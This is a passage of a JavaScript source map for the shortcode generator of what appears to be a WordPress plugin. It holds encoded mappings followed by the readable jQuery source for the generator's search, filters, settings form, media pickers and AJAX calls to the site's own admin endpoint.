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\u002FC,EAAK0K,cAAc,EAC\u002FBY,EAAWxL,EAAQuG,KAAK,EAE5BgF,EAASA,GAAU,CAAA,EAEd3B,EAASwB,GAAG,UAAU,IAIvBnI,IAAcuI,GAAaD,KAI\u002FBpL,OAAO2J,aAAa5J,EAAKO,MAAMM,QAAQC,KAAK,EAC5Cd,EAAKO,MAAMM,QAAQC,MAAQb,OAAO4J,WAChC,WACE7J,EAAKO,MAAMM,QAAQE,QAAU1B,EAAEiE,KAC7B,CACEC,KAAM,OACNC,IAAKC,QACL8H,MAAO,CAAA,EACP\u002FJ,KAAM,CACJkC,OAAQ,uBACRX,UAAWA,EACXwG,MAAOlK,EAAE,6BAA6B,EAAE4C,IAAI,CAC9C,EACA0B,WAAY,WAEN3D,EAAKO,MAAMM,QAAQE,SACrBf,EAAKO,MAAMM,QAAQE,QAAQyG,MAAM,EAGnCkC,EAASrG,SAAS,sBAAsB,EAAEnB,KAAK,EAAE,CACnD,EACA0B,QAAS,SAAUpC,GAEjBkI,EAASxH,KAAKV,CAAI,EAAEG,YAAY,sBAAsB,CACxD,EACA0F,SAAU,MACZ,CACF,CACF,EACA,GACF,EAEAvH,EAAQuG,KAAKtD,CAAS,EACxB,EAEA\u002FC,EAAKwL,OAAS,SAAU7K,EAAS8K,GAC\u002FB,IAOIC,EAPmB,UAAnB,OAAO\u002FK,GAAwC,UAAhB,OAAO8K,IAI1CzL,EAAKO,MAAMI,QAAUA,EAGjB+K,GAFJ1L,EAAKO,MAAMK,WAAa6K,GAEQ1I,WAAa,IAEzC4I,EAAa,CACfpI,KAAM,SACNqI,SAAU,CAAA,EACVC,eAAgB,CAAA,EAChBC,UAAW,mBACXC,MAAO,CACLC,IAAK,eACP,EACAC,UAAW,EACb,GAEWA,UAAUrF,KAAO,KACtB8E,EACF\u002FL,EAAQ2B,OAAM,oBAAA4K,OAAqBR,EAAoB,IAAA,CAAI,EAAE7I,QAAQ,OAAO,EAE5E5C,OAAO4J,WAAW,IAAMtK,EAAQ8C,MAAM,EAAG,GAAG,EAMzB,aAAnB,OAAO8J,SACa,MAAxBA,QAAQC,cACRD,QAAQC,aAAahB,eAAe,WAAW,IAE3CpL,EAAKO,MAAMC,aAAe2L,QAAQC,aAAaC,UAAUC,WAAW,CAAEC,OAAQ,MAAO,CAAC,EAE1F,EAEAZ,EAAWM,UAAU1J,MAAQ,KAC3BhD,EAAQ0C,IAAI,EAAE,EACdrC,EAAUsC,KAAK,EAAE,EAAEC,KAAK,EACxB7C,EAAWqC,YAAY,qBAAqB,EAC5CnC,EAAQ4C,KAAK,EACb1C,EAAS0C,KAAK,EACdzC,EAAQyC,KAAK,EAEbpC,EAAKO,MAAMC,aAAe,EAG5B,EAEAnB,EAAEiD,cAAcsE,KAAK+E,CAAU,EACjC,EAEA3L,EAAKyJ,gBAAkB,WACrB,IAkBM+C,EAKEC,EAvBJ1J,EAAY\u002FC,EAAK0K,cAAc,EAEnC1K,EAAKoK,UAAU,YAAanE,QAAQyG,SAAS,EAE7CrN,EAAEiD,cAAcC,MAAM,EAEtBzC,EAAQuG,KAAKtD,CAAS,EAEK,SAAvB\u002FC,EAAKO,MAAMI,UACTgM,EAAaC,SAASC,eAAe7M,EAAKO,MAAMK,WAAWkM,QAAQ,EACvE9M,EAAK+M,cAAcJ,EAAY5J,CAAS,GAGf,YAAvB\u002FC,EAAKO,MAAMI,SACbV,OAAO2F,GAAGC,MAAMmH,OAAOxB,OAAOzI,CAAS,EAGd,UAAvB\u002FC,EAAKO,MAAMI,WACT6L,EAAQxM,EAAKO,MAAMK,WAAW4L,OAExBS,WAAW7B,eAAe,SAAS,EAC3CoB,EAAMU,cAAc,CAAEpC,QAAS0B,EAAMS,WAAWnC,QAAU\u002FH,CAAU,CAAC,EAC7C,mBAAfyJ,EAAMvJ,OACXwJ,EAAeD,EAAMS,WAAW7B,eAAe,MAAM,EACrDoB,EAAMS,WAAW5G,KACjB,GAEJmG,EAAMU,cAAc,CAAE7G,KAAMoG,EAAe1J,CAAU,CAAC,IAI\u002FB,aAAvB\u002FC,EAAKO,MAAMI,SACiC,YAA1C,OAAOX,EAAKO,MAAMK,WAAWuM,UAC\u002FBnN,EAAKO,MAAMK,WAAWuM,SAASpK,CAAS,CAG9C,EAEA\u002FC,EAAK+M,cAAgB,CAACK,EAAO\u002FG,KAC3B,IAAIgH,EAAQD,EAAME,eAClBF,EAAM7E,MAAQ6E,EAAM7E,MAAMgF,UAAU,EAAGF,CAAK,EAAIhH,EAAO+G,EAAM7E,MAAMgF,UAAUF,CAAK,EAClFD,EAAM\u002FK,MAAM,EACZ+K,EAAME,eAAiBD,EAAQhH,EAAKnH,MACtC,EAEO,CACLgC,KAAMlB,EAAKkB,KACXsK,OAAQxL,EAAKwL,MACf,GAGFpL,OAAOwM,QAAQ,EAAEY,MAAMvN,OAAOC,IAAIC,IAAIe,IAAI\",\"file\":\"index.js\",\"sourcesContent\":[\"(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=\\\"function\\\"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error(\\\"Cannot find module '\\\"+i+\\\"'\\\");throw a.code=\\\"MODULE_NOT_FOUND\\\",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=\\\"function\\\"==typeof require&&require,i=0;i\u003Ct.length;i++)o(t[i]);return o}return r})()\",\"\u002F* eslint-disable *\u002F\\n\\n\u002F* global jQuery, wp, ajaxurl, SUGL10n *\u002F\\n\\nwindow.SUG = {}\\n\\nwindow.SUG.App = (($) => {\\n  var $generator = $('#su-generator')\\n  var $search = $('#su-generator-search')\\n  var $filter = $('#su-generator-filter')\\n  var $filters = $filter.children('a')\\n  var $choices = $('#su-generator-choices')\\n  var $choice = $choices.find('span')\\n  var $settings = $('#su-generator-settings')\\n  var $prefix = $('#su-compatibility-mode-prefix')\\n  var $result = $('#su-generator-result')\\n  var $selected = $('#su-generator-selected')\\n\\n  var self = {}\\n\\n  self.state = {\\n    mceSelection: '',\\n    target: '',\\n    wpActiveEditor: null,\\n    context: '',\\n    insertArgs: '',\\n    preview: {\\n      timer: null,\\n      request: null\\n    }\\n  }\\n\\n  self.el = {\\n    body: $('body')\\n  }\\n\\n  self.init = () => {\\n    $filters.click(\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var filter = $(this).data('filter')\\n        \u002F\u002F If filter All, show all choices\\n        if (filter === 'all') {\\n          $choice.css(\\n            {\\n              opacity: 1\\n            }\\n          ).removeClass('su-generator-choice-first')\\n        } else { \u002F\u002F Else run search\\n          var regex = new RegExp(filter, 'gi')\\n          \u002F\u002F Hide all choices\\n          $choice.css({ opacity: 0.2 })\\n          \u002F\u002F Find searched choices and show\\n          $choice.each(\\n            function () {\\n              \u002F\u002F Get shortcode name\\n              var group = $(this).data('group')\\n              \u002F\u002F Show choice if matched\\n              if (group.match(regex) !== null) {\\n                $(this)\\n                  .css({ opacity: 1 })\\n                  .removeClass('su-generator-choice-first')\\n              }\\n            }\\n          )\\n        }\\n        e.preventDefault()\\n      }\\n    )\\n    \u002F\u002F Go to home link\\n    $('#su-generator').on(\\n      'click',\\n      '.su-generator-home',\\n      function (e) {\\n        \u002F\u002F Clear search field\\n        $search.val('')\\n        \u002F\u002F Hide settings\\n        $settings.html('').hide()\\n        \u002F\u002F Remove narrow class\\n        $generator.removeClass('su-generator-narrow')\\n        \u002F\u002F Show filters\\n        $filter.show()\\n        \u002F\u002F Show choices panel\\n        $choices.show()\\n        $choice.show()\\n        \u002F\u002F Clear selection\\n        self.state.mceSelection = ''\\n        \u002F\u002F Focus search field\\n        $search.focus()\\n        e.preventDefault()\\n      }\\n    )\\n    \u002F\u002F Generator close button\\n    $('#su-generator').on(\\n      'click',\\n      '.su-generator-close',\\n      function (e) {\\n        \u002F\u002F Close popup\\n        $.magnificPopup.close()\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n      }\\n    )\\n    \u002F\u002F Search field\\n    $search.on(\\n      {\\n        focus: function () {\\n          \u002F\u002F Clear field\\n          $(this).val('')\\n          \u002F\u002F Hide settings\\n          $settings.html('').hide()\\n          \u002F\u002F Remove narrow class\\n          $generator.removeClass('su-generator-narrow')\\n          \u002F\u002F Show choices panel\\n          $choices.show()\\n          $choice.css(\\n            {\\n              opacity: 1\\n            }\\n          ).removeClass('su-generator-choice-first')\\n          \u002F\u002F Show filters\\n          $filter.show()\\n        },\\n        blur: function () {},\\n        keyup: function (e) {\\n          \u002F\u002F Prepare vars\\n          var $first = $('.su-generator-choice-first:first')\\n          var val = $(this).val()\\n          var regex = new RegExp(val, 'gi')\\n          var best = 0\\n          \u002F\u002F Hotkey action\\n          if (e.keyCode === 13 && $first.length > 0) {\\n            e.preventDefault()\\n            $(this).val('').blur()\\n            $first.trigger('click')\\n          }\\n          \u002F\u002F Hide all choices\\n          $choice.css(\\n            {\\n              opacity: 0.2\\n            }\\n          ).removeClass('su-generator-choice-first')\\n          \u002F\u002F Loop and highlight choices\\n          $choice.each(\\n            function () {\\n              \u002F\u002F Get choice data\\n              var data = $(this).data()\\n              var id = data.shortcode\\n              var name = data.name\\n              var desc = data.desc\\n              var group = data.group\\n              var matches = ([id, name, desc, group].join(' ')).match(regex)\\n              \u002F\u002F Highlight choice if matched\\n              if (matches !== null) {\\n                \u002F\u002F Highlight current choice\\n                $(this).css(\\n                  {\\n                    opacity: 1\\n                  }\\n                )\\n                \u002F\u002F Check for exact match\\n                if (val === id) {\\n                  \u002F\u002F Remove primary class from all choices\\n                  $choice.removeClass('su-generator-choice-first')\\n                  \u002F\u002F Add primary class to the current choice\\n                  $(this).addClass('su-generator-choice-first')\\n                  \u002F\u002F Prevent selecting by matches number\\n                  best = 999\\n                } else if (matches.length > best) { \u002F\u002F Check matches length\\n                  \u002F\u002F Remove primary class from all choices\\n                  $choice.removeClass('su-generator-choice-first')\\n                  \u002F\u002F Add primary class to the current choice\\n                  $(this).addClass('su-generator-choice-first')\\n                  \u002F\u002F Save the score\\n                  best = matches.length\\n                }\\n              }\\n            }\\n          )\\n          \u002F\u002F Remove primary class if search field is empty\\n          if (val === '') {\\n            $choice.removeClass('su-generator-choice-first')\\n          }\\n        }\\n      }\\n    )\\n    \u002F\u002F Click on shortcode choice\\n    $choice.on(\\n      'click',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var shortcode = $(this).data('shortcode')\\n        \u002F\u002F Load shortcode options\\n        $.ajax(\\n          {\\n            type: 'POST',\\n            url: ajaxurl,\\n            data: {\\n              action: 'su_generator_settings',\\n              shortcode: shortcode\\n            },\\n            beforeSend: function () {\\n              \u002F\u002F Hide preview box\\n              $('#su-generator-preview').hide()\\n              \u002F\u002F Hide choices panel\\n              $choices.hide()\\n              \u002F\u002F Show loading animation\\n              $settings.addClass('su-generator-loading').show()\\n              \u002F\u002F Add narrow class\\n              $generator.addClass('su-generator-narrow')\\n              \u002F\u002F Hide filters\\n              $filter.hide()\\n            },\\n            success: function (data) {\\n              \u002F\u002F Hide loading animation\\n              $settings.removeClass('su-generator-loading')\\n              \u002F\u002F Insert new HTML\\n              $settings.html(data)\\n              \u002F\u002F Apply selected text to the content field\\n              var $content = $('#su-generator-content')\\n              if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\\n                $content.val(self.state.mceSelection)\\n              }\\n              \u002F\u002F Init range pickers\\n              $('.su-generator-range-picker').each(\\n                function (index) {\\n                  var $picker = $(this)\\n                  var $val = $picker.find('input')\\n                  var min = $val.attr('min')\\n                  var max = $val.attr('max')\\n                  var step = $val.attr('step')\\n                  \u002F\u002F Apply noUIslider\\n                  $val.simpleSlider(\\n                    {\\n                      snap: true,\\n                      step: step,\\n                      range: [min, max]\\n                    }\\n                  )\\n                  $val.show()\\n                  $val.on(\\n                    'keyup blur',\\n                    function (e) {\\n                      $val.simpleSlider('setValue', $val.val())\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init color pickers\\n              $('.su-generator-select-color').each(\\n                function (index) {\\n                  $(this).find('.su-generator-select-color-wheel').filter(':first').farbtastic('.su-generator-select-color-value:eq(' + index + ')')\\n                  $(this).find('.su-generator-select-color-value').focus(\\n                    function () {\\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').show()\\n                    }\\n                  )\\n                  $(this).find('.su-generator-select-color-value').blur(\\n                    function () {\\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').hide()\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init image sourse pickers\\n              $('.su-generator-isp').each(\\n                function () {\\n                  var $picker = $(this)\\n                  var $sources = $picker.find('.su-generator-isp-sources')\\n                  var $source = $picker.find('.su-generator-isp-source')\\n                  var $addMedia = $picker.find('.su-generator-isp-add-media')\\n                  var $images = $picker.find('.su-generator-isp-images')\\n                  var $cats = $picker.find('.su-generator-isp-categories')\\n                  var $taxes = $picker.find('.su-generator-isp-taxonomies')\\n                  var $terms = $('.su-generator-isp-terms')\\n                  var $val = $picker.find('.su-generator-attr')\\n                  var frame\\n                  \u002F\u002F Update hidden value\\n                  var update = function () {\\n                    var val = 'none'\\n                    var ids = ''\\n                    var source = $sources.val()\\n                    \u002F\u002F Media library\\n                    if (source === 'media') {\\n                      var images = []\\n                      $images.find('span').each(\\n                        function (i) {\\n                          images[i] = $(this).data('id')\\n                        }\\n                      )\\n                      if (images.length > 0) {\\n                        ids = images.join(',')\\n                      }\\n                    }\\n                    \u002F\u002F Category\\n                    else if (source === 'category') {\\n                      var categories = $cats.val() || []\\n                      if (categories.length > 0) {\\n                        ids = categories.join(',')\\n                      }\\n                    }\\n                    \u002F\u002F Taxonomy\\n                    else if (source === 'taxonomy') {\\n                      var tax = $taxes.val() || ''\\n                      var terms = $terms.val() || []\\n                      if (tax !== '0' && terms.length > 0) {\\n                        val = 'taxonomy: ' + tax + '\u002F' + terms.join(',')\\n                      }\\n                    }\\n                    \u002F\u002F Deselect\\n                    else if (source === '0') {\\n                      val = 'none'\\n                    }\\n                    \u002F\u002F Other options\\n                    else {\\n                      val = source\\n                    }\\n                    if (ids !== '') {\\n                      val = source + ': ' + ids\\n                    }\\n                    $val.val(val).trigger('change')\\n                  }\\n                  \u002F\u002F Switch source\\n                  $sources.on(\\n                    'change',\\n                    function (e) {\\n                      var source = $(this).val()\\n                      e.preventDefault()\\n                      $source.removeClass('su-generator-isp-source-open')\\n                      if (source.indexOf(':') === -1) {\\n                        $picker.find('.su-generator-isp-source-' + source).addClass('su-generator-isp-source-open')\\n                      }\\n                      update()\\n                    }\\n                  )\\n                  \u002F\u002F Remove image\\n                  $images.on(\\n                    'click',\\n                    'span i',\\n                    function () {\\n                      $(this).parent('span').css('border-color', '#f03').fadeOut(\\n                        300,\\n                        function () {\\n                          $(this).remove()\\n                          update()\\n                        }\\n                      )\\n                    }\\n                  )\\n                  \u002F\u002F Add image\\n                  $addMedia.click(\\n                    function (e) {\\n                      e.preventDefault()\\n                      if (typeof (frame) !== 'undefined') {\\n                        frame.close()\\n                      }\\n                      frame = wp.media.frames.su_media_frame_1 = wp.media(\\n                        {\\n                          title: SUGL10n.isp_media_title,\\n                          library: {\\n                            type: 'image'\\n                          },\\n                          button: {\\n                            text: SUGL10n.isp_media_insert\\n                          },\\n                          multiple: true\\n                        }\\n                      )\\n                      frame.on('open', function () {\\n                        $('.mfp-wrap').addClass('hidden')\\n                      })\\n                      frame.on('close', function () {\\n                        $('.mfp-wrap').removeClass('hidden')\\n                      })\\n                      frame.on(\\n                        'select',\\n                        function () {\\n                          var files = frame.state().get('selection').toJSON()\\n                          $images.find('em').remove()\\n                          $.each(\\n                            files,\\n                            function (i) {\\n                              $images.append('\u003Cspan data-id=\\\"' + this.id + '\\\">\u003Cimg src=\\\"' + this.url + '\\\" alt=\\\"\\\" \u002F>\u003Ci class=\\\"sui sui-times\\\">\u003C\u002Fi>\u003C\u002Fspan>')\\n                            }\\n                          )\\n                          update()\\n                        }\\n                      ).open()\\n                    }\\n                  )\\n                  \u002F\u002F Sort images\\n                  $images.sortable(\\n                    {\\n                      revert: 200,\\n                      containment: $picker,\\n                      tolerance: 'pointer',\\n                      stop: function () {\\n                        update()\\n                      }\\n                    }\\n                  )\\n                  \u002F\u002F Select categories and terms\\n                  $cats.on('change', update)\\n                  $terms.on('change', update)\\n                  \u002F\u002F Select taxonomy\\n                  $taxes.on(\\n                    'change',\\n                    function () {\\n                      var $cont = $(this).parents('.su-generator-isp-source')\\n                      var tax = $(this).val()\\n                      \u002F\u002F Remove terms\\n                      $terms.hide().find('option').remove()\\n                      update()\\n                      \u002F\u002F Taxonomy is not selected\\n                      if (tax === '0') {\\n\\n                      } else { \u002F\u002F Taxonomy selected\\n                        var ajaxTermSelect = $.ajax(\\n                          {\\n                            url: ajaxurl,\\n                            type: 'post',\\n                            dataType: 'html',\\n                            data: {\\n                              action: 'su_generator_get_terms',\\n                              tax: tax,\\n                              class: 'su-generator-isp-terms',\\n                              multiple: true,\\n                              size: 10\\n                            },\\n                            beforeSend: function () {\\n                              if (typeof ajaxTermSelect === 'object') {\\n                                ajaxTermSelect.abort()\\n                              }\\n                              $terms.html('').attr('disabled', true).hide()\\n                              $cont.addClass('su-generator-loading')\\n                            },\\n                            success: function (data) {\\n                              $terms.html(data).attr('disabled', false).show()\\n                              $cont.removeClass('su-generator-loading')\\n                            }\\n                          }\\n                        )\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init media buttons\\n              $('.su-generator-upload-button').each(\\n                function () {\\n                  var $button = $(this)\\n                  var $val = $(this).parents('.su-generator-attr-container').find('input:text')\\n                  var file\\n                  $button.on(\\n                    'click',\\n                    function (e) {\\n                      e.preventDefault()\\n                      e.stopPropagation()\\n                      \u002F\u002F If the frame already exists, reopen it\\n                      if (typeof (file) !== 'undefined') {\\n                        file.close()\\n                      }\\n                      \u002F\u002F Create WP media frame.\\n                      file = wp.media.frames.su_media_frame_2 = wp.media(\\n                        {\\n                          \u002F\u002F Title of media manager frame\\n                          title: SUGL10n.upload_title,\\n                          button: {\\n                            \u002F\u002F Button text\\n                            text: SUGL10n.upload_insert\\n                          },\\n                          \u002F\u002F Do not allow multiple files, if you want multiple, set true\\n                          multiple: false\\n                        }\\n                      )\\n                      \u002F\u002F callback for selected image\\n                      file.on(\\n                        'select',\\n                        function () {\\n                          var attachment = file.state().get('selection').first().toJSON()\\n                          $val.val(attachment.url).trigger('change')\\n                        }\\n                      )\\n                      file.on('open', function () {\\n                        $('.mfp-wrap').addClass('hidden')\\n                      })\\n                      file.on('close', function () {\\n                        $('.mfp-wrap').removeClass('hidden')\\n                      })\\n                      \u002F\u002F Open modal\\n                      file.open()\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init icon pickers\\n              $('.su-generator-icon-picker-button').each(\\n                function () {\\n                  var $button = $(this)\\n                  var $field = $(this).parents('.su-generator-attr-container')\\n                  var $val = $field.find('.su-generator-attr')\\n                  var $picker = $field.find('.su-generator-icon-picker')\\n                  var $filter = $picker.find('input:text')\\n                  $button.click(\\n                    function (e) {\\n                      $picker.toggleClass('su-generator-icon-picker-visible')\\n                      $filter.val('').trigger('keyup')\\n                      if ($picker.hasClass('su-generator-icon-picker-loaded')) {\\n                        return\\n                      }\\n                      \u002F\u002F Load icons\\n                      $.ajax(\\n                        {\\n                          type: 'post',\\n                          url: ajaxurl,\\n                          data: {\\n                            action: 'su_generator_get_icons'\\n                          },\\n                          dataType: 'html',\\n                          beforeSend: function () {\\n                            \u002F\u002F Show loading animation\\n                            $picker.addClass('su-generator-loading')\\n                            \u002F\u002F Add loaded class\\n                            $picker.addClass('su-generator-icon-picker-loaded')\\n                          },\\n                          success: function (data) {\\n                            $picker.append(data)\\n                            var $icons = $picker.children('i')\\n                            $icons.click(\\n                              function (e) {\\n                                $val.val('icon: ' + $(this).attr('title'))\\n                                $picker.removeClass('su-generator-icon-picker-visible')\\n                                $val.trigger('change')\\n                                e.preventDefault()\\n                              }\\n                            )\\n                            $filter.on(\\n                              {\\n                                keyup: function () {\\n                                  var val = $(this).val()\\n                                  var regex = new RegExp(val, 'gi')\\n                                  \u002F\u002F Hide all choices\\n                                  $icons.hide()\\n                                  \u002F\u002F Find searched choices and show\\n                                  $icons.each(\\n                                    function () {\\n                                      \u002F\u002F Get shortcode name\\n                                      var name = $(this).attr('title')\\n                                      \u002F\u002F Show choice if matched\\n                                      if (name.match(regex) !== null) {\\n                                        $(this).show()\\n                                      }\\n                                    }\\n                                  )\\n                                },\\n                                focus: function () {\\n                                  $(this).val('')\\n                                  $icons.show()\\n                                }\\n                              }\\n                            )\\n                            $picker.removeClass('su-generator-loading')\\n                          }\\n                        }\\n                      )\\n                      e.preventDefault()\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init switches\\n              $('.su-generator-switch').click(\\n                function (e) {\\n                  \u002F\u002F Prepare data\\n                  var $switch = $(this)\\n                  var $value = $switch.parent().children('input')\\n                  var isOn = $value.val() === 'yes'\\n                  \u002F\u002F Disable\\n                  if (isOn) {\\n                    \u002F\u002F Change value\\n                    $value.val('no').trigger('change')\\n                  } else { \u002F\u002F Enable\\n                    \u002F\u002F Change value\\n                    $value.val('yes').trigger('change')\\n                  }\\n                  e.preventDefault()\\n                }\\n              )\\n              $('.su-generator-switch-value').on(\\n                'change',\\n                function () {\\n                  \u002F\u002F Prepare data\\n                  var $value = $(this)\\n                  var $switch = $value.parent().children('.su-generator-switch')\\n                  var value = $value.val()\\n                  \u002F\u002F Disable\\n                  if (value 